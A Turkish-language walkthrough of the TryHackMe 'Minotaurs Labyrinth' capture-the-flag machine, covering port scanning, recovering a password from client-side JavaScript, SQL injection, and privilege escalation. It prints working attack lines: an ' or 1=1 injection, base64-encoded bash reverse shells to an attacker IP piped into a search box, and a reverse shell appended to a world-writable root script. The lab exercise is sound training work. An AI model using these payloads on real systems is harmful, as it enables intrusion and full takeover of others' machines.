Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Minotaurs Labyrinth” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.228.188
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-08 12:45 +03
Nmap scan report for 10.10.228.188
Host is up (0.14s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
80/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/8.0.7 mod_perl/2.0.11 Perl/v5.32.1)
443/tcp open ssl/http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/8.0.7 mod_perl/2.0.11 Perl/v5.32.1)
3306/tcp open mysql?
2 — Web sayfasının kaynağını incelemeye başladığımda “js/login.js” dosyasının içinde bazı kodlar görüyorum. “Daedalus” kullanıcısının parolasının aşağıdaki dizilerin belirtilen indislerindeki elemanlardan oluşabilceğini düşünüyorum. Python ile kodu yazdığım zaman parolayı elde ediyorum.
function pwdgen() {
a = ["0", "h", "?", "1", "v", "4", "r", "l", "0", "g"]
b = ["m", "w", "7", "j", "1", "e", "8", "l", "r", "a", "2"]
c = ["c", "k", "h", "p", "q", "9", "w", "v", "5", "p", "4"]
}
//pwd gen for Daedalus a[9]+b[10]+b[5]+c[8]+c[8]+c[1]+a[1]+a[5]+c[0]+c[1]+c[8]+b[8]
# daedalus.py
a = ["0", "h", "?", "1", "v", "4", "r", "l", "0", "g"]
b = ["m", "w", "7", "j", "1", "e", "8", "l", "r", "a", "2"]
c = ["c", "k", "h", "p", "q", "9", "w", "v", "5", "p", "4"]
print(a[9]+b[10]+b[5]+c[8]+c[8]+c[1]+a[1]+a[5]+c[0]+c[1]+c[8]+b[8])
[root:/home/alper/Desktop/TRYHACKME]# python3 daedalus.py
*CENSORED*
3 — Giriş yaptıktan sonra bir arama kutusu çıkıyor. Buraya insan/yaratık adı yazmamızı bekliyor. “ ‘or 1=1 — — “ yazarak bütün kullanıcıları listeliyorum. Karşıma kullanıcı adı ve parola hash bilgisi çıkıyor. Bu hashleri kaydedip, crackstation uygulamasında aratıyorum. “M!n0taur”
kullanıcısına ait parolayı buluyorum.
4 — Çıkış yapıp “M!n0taur” kullanıcısı ile giriş yapıyorum. Yukarıdaki menüde “Secret stuff” isminde bir bölüm görüyorum ve oraya gidiyorum. Daha sonra arama yerine base64 ile şifrelenmiş bash reverse shelli yazıp çözdürerek shell bağlantısı elde etmeye çalışıyorum.
[root:/home/alper/Desktop/TRYHACKME]# echo "bash -i >& /dev/tcp/10.8.94.51/4444 0>&1" | base64 -w0
# Arama kutusuna
BASE64_HASH | base64 -d | bash
5 — Bulunduğum dizindeki “dbConnect.php” dosyasını okuduğumda içinde mysql veritabanının parolası gözüküyor.
$ SHELL=/bin/bash script -q /dev/null
ls
bash: /root/.bashrc: Permission denied
ls
daemon@labyrinth:/opt/lampp/htdocs$ ls
lsapi echo.php index.php login.html logs session.php
css favicon.png jebait.html login.php README.md
dbConnect.php imgs js logout.php session2.php
daemon@labyrinth:/opt/lampp/htdocs$
daemon@labyrinth:/opt/lampp/htdocs$cat dbConnect.php
cat dbConnect.php
<?php
$servername = "localhost";
$db = "labyrinth";
$usr = "root";
$pwd = "";
//$pwd = "*CENSORED*"
6 — User kullanıcısının dizinin üçüncü bayrağı elde ediyorum.
daemon@labyrinth:/opt/lampp/htdocs$ cd /home
cd /home
daemon@labyrinth:/home$ ls
ls
anonftp minotaur user
daemon@labyrinth:/home$ cd user
cd user
daemon@labyrinth:/home/user$ ls
ls
flag.txt
daemon@labyrinth:/home/user$ cat flag.txt
cat flag.txt
*CENSORED*
7 — Dizinleri karıştırırken “/” dizinin altında “timers” isminde bir klasör görüyorum. İçine girdiğim zaman timer.sh adında bir script görüyorum. Bu scriptin içine bash reverse shell yerleştirip shell almayı bekliyorum.
daemon@labyrinth:/home/minotaur$ cd /
cd /
daemon@labyrinth:/$ ls
ls
bin home lost+found reminders srv usr
boot initrd.img media root swapfile var
cdrom initrd.img.old mnt run sys vmlinuz
dev lib opt sbin timers vmlinuz.old
etc lib64 proc snap tmp
daemon@labyrinth:/$ cd timers
cd timers
daemon@labyrinth:/timers$ ls
ls
timer.sh
daemon@labyrinth:/timers$ cat timer.sh
cat timer.sh
#!/bin/bash
echo "dont fo...forge...ttt" >> /reminders/dontforget.txt
daemon@labyrinth:/timers$ ls -la timer.sh
ls -la timer.sh
-rwxrwxrwx 1 root root 70 jún 15 2021 timer.sh
daemon@labyrinth:/timers$ echo "bash -i >& /dev/tcp/10.8.94.51/4444 0>&1" >> timer.sh
<sh -i >& /dev/tcp/10.8.94.51/4444 0>&1" >> timer.sh
8 — Bağlantıyı kurduktan sonra root dizini altında dördüncü bayrağımı elde ediyorum.